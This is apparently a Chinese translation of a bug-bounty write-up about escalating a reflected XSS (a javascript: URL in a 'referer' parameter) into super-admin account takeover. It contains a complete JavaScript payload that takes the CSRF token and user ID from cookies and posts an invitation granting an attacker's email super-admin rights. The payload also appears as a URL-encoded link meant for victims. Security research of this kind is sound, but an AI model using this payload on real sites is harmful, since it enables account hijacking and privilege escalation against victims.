原文:
https://melotover.medium.com/how-i-leveraged-xss-to-make-privilege-escalation-to-be-super-admin-e120b6090451
有删减
当我进行侦察时,我通常会检查赏金范围外的域,并查看其是否与范围内的内容有任何关系,因此,当我开始浏览一个名为community.example.com的子域时,我发现了一个登录按钮,它将重定向用户首先在in-scope的主域中登录,然后将其重定向回该子域。

我发现此网址为
https://app.example.com/path/to/authenticate?referer=https%3A%2F%2Fcommunity.example.com%2F
因此,现在我们有了一个称为Referer的参数,该参数具有URL的值。
因此,像往常一样,我尝试做两件事:
1.试图利用SSRF,但是它将我重定向到我的本地主机,尝试使用一些SSRF负载,但没有结果!
2、试图找到“打开重定向”,如果它能正常工作,我通常会检查是否可以将其用于Reflected XSS,并且这种方法可以与我配合使用!
该referer参数有,所以当我添加上JavaScript代码,它工作正常!
https://app.example.com/path/to/authenticate?referer=javascript:alert(1);//

很好,现在我们有了P3严重性漏洞,但是当我发现XSS会影响任何应用程序的主域时,我通常会寻求进一步的利用,以便提高严重性,获得更多的积分,金钱,知识,并寻求学习新的知识!
检查可能的功能:
现在,我可以在整个应用程序中一个非常敏感且受信任的子域中运行javascript,因此请尝试检查应用程序中的所有功能,以查看是否会产生更多干扰!
这是我发现的:
1.更改用户电子邮件功能,而无需询问用户当前密码,这对吗?是的,但是它需要用户访问将被发送到电子邮件的确认链接!我认为它可能是可利用的,但PoC将会更加复杂,因此让它成为我们的最后选择!
2.该功能可以向任何用户发送邀请以将其添加到与受限特权用户相同的帐户中,并提供超级管理员特权用户的选项!我们开始做吧!
检查请求:
通过检查添加超级管理员特权用户的请求,我发现我应该了解请求中应包含的三点重要信息:

该请求应具有:
1.当前用户的GET参数PID !
2.有一个带有CSRF值的X-Example-CSRF标头!
3.请求正文是JSON格式, 其中包含我们要以正确的角色发送邀请的电子邮件。
因此,我们的漏洞利用应该像是发送post表单一样,并且此请求包含受害者用户的Pid号以及CSRF值,但是我们又没有。而这里的主要问题是请求是JSON格式,使用 XMLHttpRequest或 XHR request可以帮助我们发送json格式的请求。但是我们仍然缺少一些信息,因此我们需要进一步挖掘!
我再次仔细查看了请求,发现cookie参数具有非常有用的信息,例如USER_ID参数中的Pid号和example-csrf cookie参数中的CSRF值!

现在,我在这里有了所有我需要的东西,让我们编写一个简单的javascript代码来完成整个过程!
var email = "ATTACKER_EMAIl";
// Set the attacker email that we will receive the invitation to it.
var csrf= document.cookie.split('; ').find(row => row.startsWith('example-csrf')).split('=')[1];
// Getting the csrf value from [example-csrf] cookie parameter and store it in the csrf variable.
var pid= document.cookie.split('; ').find(row => row.startsWith('USER_ID')).split('=')[1];
// Getting the pid value from [USER_ID] cookie parameter and store it in the pid variable.
// Initiate the XHR POST request that holds the data we collect!
var http=new XMLHttpRequest();
http.open('POST','https://api.example.com/app/v1/users/add/?Pid='+pid+'&clienttimeout=14000&app=users&version=1.0', true);
http.withCredentials=true;
// To send the victim cookies with the request!
http.setRequestHeader('X-example-CSRF',csrf);
http.setRequestHeader('Content-type','application/json');
// Setting the required headers!
http.send('{"users":[{"email":"'+email+'" ,"emailSent":true,"firstName":"","lastName":"","roleNames":[],"jita":false,"expiresAt":null,"primaryTeamId":-1,"secondaryTeamIds":[],"partner":false,"pending":false,"existingInexample":false,"hasTwoFactorBackupCodes":false,"hasTwoFactorConfigured":false,"userAssetsCount":null,"scim":false}],"roleNames":["super-admin"],"teamId":null,"secondaryTeamIds":[],"sendWelcomeEmail":true,"forceWelcomeEmail":true}');
现在,需要做的只是将这个链接发送给受害者!
https://app.example.com/path/to/authenticate?referer=javascRipt%3avar+email%3d+"attacher%40email.com"%3bvar+csrf%3d+document.cookie.split('%3b+').find(row+%3d>+row.startsWith('example-csrf')).split('%3d')[1]%3bvar+pid%3d+document.cookie.split('%3b+').find(row+%3d>+row.startsWith('USER_ID')).split('%3d')[1]%3bvar+http%3dnew+XMLHttpRequest()%3bhttp.open('POST','https%3a//api.example.com/app/v1/users/add/%3fPid%3d'%2bpid%2b'%26clienttimeout=14000%26app=users%26version=1.0',+true)%3bhttp.withCredentials%3dtrue%3bhttp.setRequestHeader('X-example-CSRF',csrf)%3bhttp.setRequestHeader('Content-type','application/json')%3bhttp.send('{"users"%3a[{"email"%3a"'%2bemail%2b'","emailSent"%3atrue,"firstName"%3a"","lastName"%3a"","roleNames"%3a[],"jita"%3afalse,"expiresAt"%3anull,"primaryTeamId"%3a-1,"secondaryTeamIds"%3a[],"partner"%3afalse,"pending"%3afalse,"existingInexample"%3afalse,"hasTwoFactorBackupCodes"%3afalse,"hasTwoFactorConfigured"%3afalse,"userAssetsCount"%3anull,"scim"%3afalse}],"roleNames"%3a["super-admin"],"teamId"%3anull,"secondaryTeamIds"%3a[],"sendWelcomeEmail"%3atrue,"forceWelcomeEmail"%3atrue}')%3b
当用户访问链接时,将执行javascript代码并向我们的电子邮件发送邀请,我们将成为受害者帐户的超级管理员特权用户!
译者按:
标准的XSS啊。像这种标准的反射型XSS,大家在测试中肯定挖到过很多。但是进一步提升利用的却不是很多,大家以后可以在深挖一挖。一个反射型XSS,200块。如果能实现提权或者其他再严重一点的,不仅仅是物质奖励,对技术也有提高嘛。
本文迁移自知识星球“火线Zone”